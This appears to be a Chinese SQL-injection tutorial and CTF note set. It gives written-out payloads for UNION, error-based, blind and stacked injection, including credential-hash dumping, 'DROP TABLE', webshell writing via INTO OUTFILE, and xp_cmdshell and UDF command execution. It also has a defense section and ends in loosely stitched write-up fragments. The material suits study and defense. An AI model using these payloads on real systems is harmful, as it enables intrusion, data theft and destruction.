类型 核心特征 适用场景 CTF / 渗透常用技巧 联合查询注入 利用 UNION SELECT拼接查询,直接回显数据(需知字段数)有数据回显的场景(如搜索结果、登录失败提示) ORDER BY猜字段数 →UNION SELECT 1,2,3定位回显位 → 提取库名 / 表名 / 数据报错注入 构造错误语句触发数据库报错,从错误信息中提取数据 无直接回显但有错误提示(如 mysql_error())MySQL: extractvalue(1,concat(0x7e,database(),0x7e));SQL Server:xp_dirtree '\\xxx\xxx'布尔盲注 基于查询结果的布尔值(真 / 假)判断数据,无直接回显 仅返回 “存在 / 不存在”“登录成功 / 失败” 等状态 IF(length(database())>5,1,0)→ 通过页面差异猜解长度 / 字符时间盲注 利用 sleep()等函数,通过响应时间判断条件是否成立,无任何回显页面无任何差异(无论注入是否成功均返回相同内容) IF(substr(database(),1,1)='a',sleep(5),0)→ 通过延迟判断字符正确性堆叠注入 用分号 ;分隔多条 SQL 语句,执行额外命令(如增删改查、写文件)数据库支持多语句执行(如 MySQL,部分应用禁止) id=1; DROP TABLE users--+→ 删表;id=1; SELECT * INTO OUTFILE '/var/www/shell.php'...→ 写后门3. 按注入点位置分类
- GET 注入:参数在 URL 中(如
?id=1),可直接在 URL 构造 payload。- POST 注入:参数在请求体中(如表单提交的
uname/passwd),需通过 BurpSuite 等工具修改 POST 数据。- Cookie 注入:参数在 Cookie 中(如
Cookie: user=1),修改 Cookie 值触发注入。- XFF/Referer 注入:参数在 HTTP 头中(如
X-Forwarded-For),常用于日志存储类注入。三、SQL 注入的利用流程(CTF 与渗透测试实战)
阶段 1:信息收集与注入点确认
- 判断是否存在注入:
- 数字型:输入
id=1',若返回 SQL 语法错误(如You have an error in your SQL syntax),存在注入。- 字符型:输入
username=admin' and '1'='2,若登录失败(原条件为假),输入admin' or '1'='1登录成功,存在注入。- 识别数据库类型:
- MySQL:支持
sleep()、extractvalue(),错误信息含MySQL server version。- SQL Server:支持
waitfor delay '0:0:5'、xp_cmdshell,错误信息含Microsoft SQL Server。- Oracle:支持
dbms_pipe.receive_message(('a'),5)(延迟),表名含dual。阶段 2:数据提取(核心目标:获取敏感信息)
CTF 场景:快速定位 flag(通常在
flag表或users表中)。
示例(MySQL 联合查询):
1
2
3
4 ?id=-1 UNION SELECT 1,database(),3--+ # 获取当前库名
?id=-1 UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schema=database()--+ # 获取当前库所有表
?id=-1 UNION SELECT 1,group_concat(column_name),3 FROM information_schema.columns WHERE table_name='flag'--+ # 获取flag表字段
?id=-1 UNION SELECT 1,flag,3 FROM flag--+ # 读取flag值渗透测试场景:获取数据库账号密码、系统权限。
示例:
- 读取
mysql.user表获取管理员哈希:UNION SELECT 1,group_concat(user,0x3a,password),3 FROM mysql.user--+。- 利用
file_priv权限写 Webshell:UNION SELECT 1,'',3 INTO OUTFILE '/var/www/html/shell.php'--+。阶段 3:权限提升与横向移动(渗透测试特有)
- 数据库层面:
- MySQL:启用
secure_file_priv时可读写文件;通过UDF提权执行系统命令(如select sys_exec('whoami'))。- SQL Server:启用
xp_cmdshell执行命令(EXEC xp_cmdshell 'ipconfig');利用sp_oacreate调用 COM 组件。- 系统层面:通过写入后门文件(如
shell.php)控制 Web 服务器,进而横向渗透内网。四、SQL 注入的防御措施(企业级与开发视角)
1. 代码层防御(核心)
参数化查询(预编译语句):强制将用户输入作为数据而非 SQL 代码解析,从根本上杜绝注入。
示例(PHP PDO):
1
2
3 $stmt = $pdo->prepare("SELECT * FROM users WHERE username = :uname"); // 预编译
$stmt->bindParam(':uname', $uname); // 绑定参数(用户输入仅作为数据)
$stmt->execute();输入验证:白名单限制输入类型(如数字型仅允许
0-9,字符串限制长度和特殊字符)。
示例:if(!preg_match('/^[0-9]+$/', $id)) die("非法输入");2. 数据库与系统层防御
- 最小权限原则:数据库账号仅授予必要权限(如 Web 应用账号无
FILE权限、无DROP权限)。- 禁用危险功能:MySQL 禁用
LOAD_FILE、INTO OUTFILE;SQL Server 禁用xp_cmdshell、sp_oacreate。- 错误信息屏蔽:生产环境关闭详细错误提示(如 PHP 的
display_errors=Off),避免泄露数据库类型、表结构。3. 应用层与运维防御
- WAF 部署:通过 Web 应用防火墙(如 ModSecurity)拦截常见注入 payload(如
UNION SELECT、sleep()。- 定期审计与更新:代码审计工具(如 SonarQube)扫描潜在注入点;及时更新数据库补丁(修复已知注入相关漏洞)。
五、CTF 与渗透测试的核心差异
维度 CTF 工程师视角 高级渗透测试工程师视角 目标 快速获取 flag(单点突破) 完整攻击链(从注入到系统控制,再到内网渗透) 环境 孤立靶场(无防御或弱防御) 真实业务环境(有 WAF、防火墙、日志审计) 技巧侧重 盲注脚本编写、报错注入 payload 创新 绕过 WAF(编码、分段注入)、权限维持、痕迹清理 限制因素 时间限制(需高效利用漏洞) 合规性(避免破坏业务,需精准控制攻击范围) 总结
SQL 注入的本质是 “用户输入与 SQL 语句的非安全拼接”,其利用依赖于数据库特性与应用回显机制。防御的核心是用参数化查询替代动态拼接,辅以输入验证、权限控制和 WAF 防护。无论是 CTF 还是实战渗透,理解数据库语法细节(如系统表结构、函数特性)和应用逻辑(如注入点位置、回显方式)都是突破的关键。
随意设置一个Cookie值,发现 MySQL 报错了,说明 this_is_your_cookie 要先 URL解码,再 Base64 解码,那么生成 this_is_your_cookie 的时候,要反过来,先 Base64 编码,再URL 编码,这个 MySQL 报错是本题的突破口
1 | import urllib.parse |
产生SSRF漏洞的函数
file_get_contentsfsockopen()
经过多次尝试发现注入点为admin') # ,即可以尝试报错注入
后端 SQL 可能拼接成:
1 SELECT * FROM users WHERE username = 'admin') #' AND password = 'xxx';
'→ 闭合原始字符串)→ 闭合可能存在的子查询或函数调用(如WHERE (username = '...'))#或--→ 注释掉后面语句,避免语法错误如果此时页面正常返回(比如登录成功或提示“用户存在”),说明:
- 单引号和右括号被成功闭合
- 后面的语句被注释,无语法错误 → 存在 SQL 注入
如有错误,多多指教